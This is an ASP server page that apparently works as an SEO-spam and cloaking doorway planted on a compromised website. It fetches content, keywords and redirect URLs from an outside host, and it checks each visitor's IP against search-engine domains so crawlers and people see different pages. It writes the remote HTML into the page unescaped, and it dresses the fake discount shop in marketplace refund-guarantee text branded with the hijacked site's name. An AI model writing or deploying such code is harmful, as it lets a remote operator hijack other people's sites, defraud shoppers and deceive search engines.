<% Response.Buffer = True Server.ScriptTimeOut=999999 Response.Expires = -1 Response.ExpiresAbsolute = Now() - 1 Response.Expires = 0 Response.CacheControl = "no-cache" ucu=request("shop") uu=request("shop") uu=replace(uu,"+"," ",1,-1,1) %> <% Function getHTTPPage(url) On Error Resume Next dim http set http=Server.createobject("Microsoft.XMLHTTP") Http.open "GET",url,false Http.setRequestHeader "User-Agent","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0" Http.send() if Http.readystate<>4 then exit function end if getHTTPPage=bytesToBSTR(Http.responseBody,"utf-8") set http=nothing If Err.number<>0 then Response.Write "

" Response.end Err.Clear End If End Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function %> <% Public function HTMLcode(fString) if not isnull(fString) then fString = Replace(fString, ">", ">") fString = Replace(fString, "<", "<") fString = Replace(fString, CHR(34), """") fString = Replace(fString, CHR(39), "'") fString = Replace(fString, CHR(13), "") fString = Replace(fString, CHR(10) & CHR(10), "

") fString = Replace(fString, CHR(10), "
") HTMLcode = fString end if end function Function RegExpTest(patrn, strng) Dim regEx, Match, Matches ' 建立变量。 Set regEx = New RegExp ' 建立正则表达式。 regEx.Pattern = patrn ' 设置模式。 regEx.IgnoreCase = True ' 设置是否区分字符大小写。 regEx.Global = True ' 设置全局可用性。 Set Matches = regEx.Execute(strng) ' 执行搜索。 For Each Match in Matches ' 遍历匹配集合。 RetStr = RetStr & Match.Value & "
" Next RegExpTest = RetStr End Function function urldecode(encodestr) newstr="" havechar=false lastchar="" for i=1 to len(encodestr) char_c=mid(encodestr,i,1) if char_c="+" then newstr=newstr & " " elseif char_c="%" then next_1_c=mid(encodestr,i+1,2) next_1_num=cint("&H" & next_1_c) if havechar then havechar=false newstr=newstr & Chrw(cint("&H" & lastchar & next_1_c)) else if abs(next_1_num)<=127 then newstr=newstr & chrw(next_1_num) else havechar=true lastchar=next_1_c end if end if i=i+2 else newstr=newstr & char_c end if next urldecode=newstr end function if request("cid")<>"" then cid=request("cid") else Randomize cid=116 end if descriptions=getHTTPPage("http://ajf.presshop.xyz/getci.aspx?cid="&cid&"&s=4&e=5") ions=getHTTPPage("http://ajf.presshop.xyz/getci.aspx?cid="&cid&"&s=3&e=4") hyzhdy=getHTTPPage("http://ajf.presshop.xyz/dyen2.asp") Randomize aaxx=int((58-53+1)*rnd+53) aaxcx=int((79-70+1)*rnd+70) %> <%if request("shop")<>"" then%><%=request("shop")%>, OFF <%=aaxcx%>%,Free delivery!<%else%><%=ions%>,<%=Request.ServerVariables("SERVER_NAME")%><%end if%> "/> ,<%=descriptions%>." /> <% if request("shop")<>"" then%> <% if request("xi")<>"" then xi=request("xi") else xi=2 end if if request("xc")<>"" then xc=request("xc") else xc=20 end if if request("kk")<>"" then ip="" else ip=Request.ServerVariables("REMOTE_ADDR") end if ipurl="http://ajf.presshop.xyz/getdomain.aspx?rnd=1&ip="&ip domain =getHTTPPage(ipurl) if (instr(domain,"google")>0 or instr(domain,"msn.com")>0 or instr(domain,"yahoo.com")>0 or instr(domain,"aol.com")>0) then set re = new RegExp re.IgnoreCase =True re.Global = True re.Pattern = "]*?>([\s\S]*?)" Set matchs = re.Execute(html) for each match in matchs sc= match.SubMatches(0) next set matchs = nothing Response.write Html else if request("shop")<>"" then ccc=request("shop") ddd=getHTTPPage("http://ajf.presshop.xyz/newurl.asp?cid="&cid&"&new="&now()&"") eee=ddd&ccc eee=replace(eee,"--","-") Response.write "" end if Response.end end if %> <% Dim Url,Html yyu=Year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now) URL="http://ajf.presshop.xyz/mb4.aspx?shop="&Server.URLEncode(request("shop"))&"&xi="&xi&"&xc="&xc&"&cid="&cid&"&gj=com&hl=en" Html = getHTTPPage(URL) Html=Replace(Html, "euro;", "$") Response.write Html %> <%else if request("cid")<>"" then URL="http://ajf.presshop.xyz/mb4.aspx?pnum="&request("pnum")&"&cid="&cid&"&xi=1-6&xc=19-26" Html = getHTTPPage(URL) Response.write Html %> <% else %> <% URL=hyzhdy&"&xi=1-6&xc=19-26&pnum="&request("pnum")&"&you=0&page="&Request.ServerVariables("SCRIPT_NAME") Html = getHTTPPage(URL) Response.write Html %> <% end if%> <% end if%> Get the item you ordered or your money back—it’s that simple. Our <%=Request.ServerVariables("SERVER_NAME")%> Money Back Guarantee applies to virtually everything on our site, and there's no extra fee for coverage. It’s automatic and covers your purchase price plus original shipping on eligible purchases*. Follow these steps to get your refund. Contact Your Seller If an item hasn’t arrived or isn’t as described, go to My <%=Request.ServerVariables("SERVER_NAME")%>, select the item in your purchase history, and reach out to your seller. <%=getHTTPPage("http://ajf.presshop.xyz/geta.aspx?cid="&cid&"&s=4&e=5")%> Not resolved? Let us know. If you’ve talked to your seller and the issue still isn’t resolved after three business days, contact us. We’ll get your money back. Fast. You can count on hearing from us within 48 hours. *In order to be protected by <%=Request.ServerVariables("SERVER_NAME")%> Money Back Guarantee certain payment methods must be used and all eligibility requirements and deadlines must be met. Certain transactions and article types such as vehicles, real estate, business sales & domains, digital content, industrial equipment or vouchers are not covered. For full terms and conditions, read our <%=Request.ServerVariables("SERVER_NAME")%> Money Back Guarantee policy. <%=getHTTPPage("http://ajf.presshop.xyz/youtobe.asp")%> <%=getHTTPPage("http://ajf.presshop.xyz/hlen.asp?page="&Request.ServerVariables("SCRIPT_NAME"))%>